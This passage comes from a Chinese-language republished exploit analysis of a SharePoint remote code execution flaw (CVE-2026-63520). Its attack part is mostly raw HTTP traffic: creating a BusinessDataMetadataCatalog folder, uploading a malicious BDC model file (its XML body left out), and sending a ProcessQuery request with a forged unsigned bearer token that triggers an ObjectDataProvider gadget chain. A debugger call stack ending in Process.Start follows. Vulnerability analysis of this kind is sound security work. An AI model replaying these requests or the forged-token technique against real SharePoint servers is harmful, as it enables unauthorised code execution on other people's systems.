Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Location: https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 10
SPRequestDuration: 23
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-8b99-e0bd-6d28-73265bd44bbe
request-id: e01a0ca2-8b99-e0bd-6d28-73265bd44bbe
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors&nbsp;'self'&nbsp;teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')","uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')","type":"SP.Folder"},"Activities":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Activities"}},"Files":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Files"}},"ListItemAllFields":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/ListItemAllFields"}},"ParentFolder":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/ParentFolder"}},"Properties":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Properties"}},"StorageMetrics":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/StorageMetrics"}},"Folders":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFolderByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog')/Folders"}},"Exists":true,"IsWOPIEnabled":false,"ItemCount":0,"Name":"BusinessDataMetadataCatalog","ProgID":null,"ServerRelativeUrl":"/BusinessDataMetadataCatalog","TimeCreated":"2026-03-25T14:48:25Z","TimeLastModified":"2026-03-25T14:48:25Z","UniqueId":"588f2429-23cb-47c9-bbbf-6a0c36a04ea2","WelcomePage":""}}

文件夹创建成功后，下一步就是上传恶意 BDC 模型文件。通过向 /_api/web/GetFolderByServerRelativeUrl 端点发送 POST 请求来实现，请求中将包含之前构造的恶意 XML 内容。

POST /_api/web/GetFolderByServerRelativeUrl('BusinessDataMetadataCatalog')/Files/add(url='BDCMetadata.bdcm',overwrite=true) HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer （与上相同的长令牌）
Accept: application/json;odata=verbose
X-RequestDigest: （与上相同的摘要值）
Content-Length: 7296
Content-Type: application/x-www-form-urlencoded

（此处为完整的恶意XML内容）

服务器返回 HTTP 200 状态码及详细响应，确认 BDC 模型文件上传成功。

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 36
SPRequestDuration: 50
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-fb9b-e0bd-6d28-712875f5f9e2
request-id: e01a0ca2-fb9b-e0bd-6d28-712875f5f9e2
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors&nbsp;'self'&nbsp;teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')","uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')","type":"SP.File"},"Author":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/Author"}},"CheckedOutByUser":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/CheckedOutByUser"}},"EffectiveInformationRightsManagementSettings":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/EffectiveInformationRightsManagementSettings"}},"InformationRightsManagementSettings":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/InformationRightsManagementSettings"}},"ListItemAllFields":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/ListItemAllFields"}},"LockedByUser":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/LockedByUser"}},"ModifiedBy":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/ModifiedBy"}},"Properties":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/Properties"}},"VersionEvents":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/VersionEvents"}},"Versions":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/Versions"}},"CheckInComment":"","CheckOutType":2,"ContentTag":"{19D5ED0D-438A-477F-9943-BD5D70A86A75},35,35","CustomizedPageStatus":0,"ETag":"\"{19D5ED0D-438A-477F-9943-BD5D70A86A75},35\"","Exists":true,"IrmEnabled":false,"Length":"7296","Level":1,"LinkingUri":null,"LinkingUrl":"","MajorVersion":1,"MinorVersion":0,"Name":"BDCMetadata.bdcm","ServerRelativeUrl":"/BusinessDataMetadataCatalog/BDCMetadata.bdcm","TimeCreated":"2026-03-25T14:48:25Z","TimeLastModified":"2026-04-21T10:06:13Z","Title":null,"UIVersion":512,"UIVersionLabel":"1.0","UniqueId":"19d5ed0d-438a-477f-9943-bd5d70a86a75"}}

我们通过向 /_vti_bin/client.svc/ProcessQuery 端点发送 HTTP POST 请求来触发不安全的 .NET 类型实例化，调用 FindSpecificDefault 方法来定位并触发我们的恶意gadget链。

POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Accept: */*
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Content-Type: text/xml
X-RequestDigest: 0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000
Content-Length: 739

<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"&nbsp;SchemaVersion="15.0.0.0"&nbsp;LibraryVersion="16.0.0.0"&nbsp;ApplicationName="BDC"><Actions><ObjectPath Id="2"&nbsp;ObjectPathId="1"&nbsp;/><ObjectPath Id="4"&nbsp;ObjectPathId="3"&nbsp;/><ObjectPath Id="6"&nbsp;ObjectPathId="5"&nbsp;/><Method Name="FindSpecificDefault"&nbsp;Id="7"&nbsp;ObjectPathId="1"><Parameters><Parameter ObjectPathId="5"&nbsp;/><Parameter ObjectPathId="3"&nbsp;/></Parameters></Method></Actions><ObjectPaths><Identity Id="1"&nbsp;Name="4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:RCEE950d65,GadgetRCE"&nbsp;/><Identity Id="3"&nbsp;Name="4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:RCE950d65,RCEI950d65"&nbsp;/><Identity Id="5"&nbsp;Name="4da630b6-36c5-4f55-8e01-5cd40e96104d:identity:iAQAAAA=="&nbsp;/></ObjectPaths></Request>

如果我们附加一个调试器，我们可以在RCE被实现的那一刻检查调用堆栈。请注意，来自FindSpecificDefault的调用将触发CreateDefaultInstanceInternal，后者将触发ObjectDataProvider链，并最终触发Process.Start。

> System.dll!System.Diagnostics.Process.Start() (IL=0x0000, Native=0x00007FFC76E06500+0x31)
&nbsp; [Native to Managed Transition]
&nbsp; mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL=epilog, Native=0x00007FFC6E97DFE0+0x7A)
&nbsp; mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x00007FFC6E97D810+0xE7)
&nbsp; mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x073D, Native=0x00007FFC71FDD820+0xC6D)
&nbsp; mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x00007FFC71FDD7C0+0x3D)
&nbsp; PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x00007FFC76E05E80+0x140)
&nbsp; PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x00007FFC76E04C30+0x1AF)
&nbsp; PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x00007FFC76E00490+0x1C1)
&nbsp; WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x00007FFC74792B30+0x36)
&nbsp; PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.ObjectInstance.set(object value) (IL=0x0078, Native=0x00007FFC76E05900+0x178)
&nbsp; [Native to Managed Transition]
&nbsp; mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x0016, Native=0x00007FFC6E97DFE0+0xDD)
&nbsp; mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x00007FFC6E97D810+0xE7)
&nbsp; mscorlib.dll!System.Reflection.RuntimePropertyInfo.SetValue(object obj, object value, object[] index) (IL=epilog, Native=0x00007FFC720310B0+0x22)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Infrastructure.DotNetTypeReflector.SetValueOnInstanceUsingChildTypeDescriptor(object instance, object value, Microsoft.BusinessData.MetadataModel.ITypeDescriptor typeDescriptor) (IL≈0x084C, Native=0x00007FFC769B0E60+0xBC9)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Infrastructure.DotNetTypeReflector.Instantiate(Microsoft.BusinessData.MetadataModel.ITypeDescriptor typeDescriptor, Microsoft.BusinessData.MetadataModel.IMethodInstance methodInstance, uint level) (IL≈0x0581, Native=0x00007FFC769AE060+0xB37)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Infrastructure.DotNetTypeReflector.Instantiate(Microsoft.BusinessData.MetadataModel.ITypeDescriptor typeDescriptor, Microsoft.BusinessData.MetadataModel.IMethodInstance methodInstance) (IL≈0x0042, Native=0x00007FFC769ADED0+0x8E)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.ParameterRuntime.CreateDefaultInstanceInternal(Microsoft.BusinessData.MetadataModel.IParameter thisParameter, Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance) (IL=epilog, Native=0x00007FFC769ADE00+0xA9)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.Parameter.Microsoft.SharePoint.BusinessData.MetadataModel.IParameterInternal.CreateDefaultInstanceInternal(Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance) (IL=epilog, Native=0x00007FFC769ADC20+0x3C)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.MethodRuntime.CreateDefaultParameterInstancesInternal(Microsoft.BusinessData.MetadataModel.IMethod thisMethod, Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance, Microsoft.BusinessData.MetadataModel.Collections.IParameterCollection parameters) (IL≈0x0052, Native=0x00007FFC769AD860+0x175)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.Method.Microsoft.SharePoint.BusinessData.MetadataModel.IMethodInternal.CreateDefaultParameterInstancesInternal(Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance, Microsoft.BusinessData.MetadataModel.Collections.IParameterCollection nonReturnParameters) (IL=epilog, Native=0x00007FFC769AD7F0+0x43)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity thisEntity, Microsoft.BusinessData.Runtime.Identity entityInstanceIdentity, string specificFinderName, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance) (IL≈0x012C, Native=0x00007FFC769AC770+0x1DA)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity thisEntity, Microsoft.BusinessData.Runtime.Identity entityInstanceIdentity, string specificFinderName, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance, Microsoft.BusinessData.Runtime.OperationMode mode) (IL≈0x007D, Native=0x00007FFC769ABB70+0x10E)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity @this, Microsoft.BusinessData.Runtime.Identity identifierValue, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance, Microsoft.BusinessData.Runtime.OperationMode operationMode, bool readNow) (IL=epilog, Native=0x00007FFC769AA7E0+0x7F)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity @this, Microsoft.BusinessData.Runtime.Identity identifierValue, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance, Microsoft.BusinessData.Runtime.OperationMode operationMode) (IL=epilog, Native=0x00007FFC769AA7A0+0x1B)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.Entity.FindSpecific(Microsoft.BusinessData.Runtime.Identity identity, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance) (IL=epilog, Native=0x00007FFC769AA4C0+0x54)
&nbsp; Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.FindSpecificDefault(Microsoft.BusinessData.Runtime.Identity identity, Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.LobSystemInstance lobSystemInstance) (IL≈0x0029, Native=0x00007FFC769A9FC0+0x87)
&nbsp; Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ServerStub.InvokeMethodWithMonitoredScope(object target, string methodName, System.Xml.XmlNodeList args, Microsoft.SharePoint.Client.ProxyContext proxyContext, out bool isVoid) (IL≈0x004D, Native=0x00007FFC769A4B30+0xCB)
&nbsp; Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.InvokeMethod(object obj, string methodName, System.Xml.XmlNodeList xmlargs, out bool isVoid) (IL≈0x0000, Native=0x00007FFC769A4A50+0x50)
&nbsp; Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.ProcessMethod(System.Xml.XmlElement xe) (IL≈0x0076, Native=0x00007FFC769A4780+0x152)
&nbsp; Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.ProcessStatements(System.Xml.XmlNode xe) (IL=0x0032, Native=0x00007FFC76970D00+0xC6)
&nbsp; Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.Process() (IL=0x0104, Native=0x00007FFC7696F3A0+0x29C)
&nbsp; Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientRequestServiceImpl.ProcessQuery(System.IO.Stream inputStream, System.Collections.Generic.IList<System.IDisposable> pendingDisposableContainer) (IL≈0x01DF, Native=0x00007FFC7696C930+0x662)
&nbsp; Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientRequestService.ProcessQuery(System.IO.Stream inputStream) (IL=epilog, Native=0x00007FFC7696C870+0x74)

原文：https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-remote-code-execution-cve-2026-63520/

  • END –

感谢阅读，如果觉得还不错的话，动动手指给个三连吧～

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：骨哥说事 骨哥说事 骨哥说事《【CVE-2026-63520】Microsoft SharePoint 远程代码执行技术分析》

版权声明

本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。

ZONE.CI 全球网 | 安全领域涉猎者-乌云独行地带
ZONE.CI 全球网
安全领域涉猎者-乌云独行地带
ZONE.CI 全球网 | 安全领域涉猎者-乌云独行地带
安全领域涉猎者-乌云独行地带
ZONE.CI 全球网
评论：0   参与：  0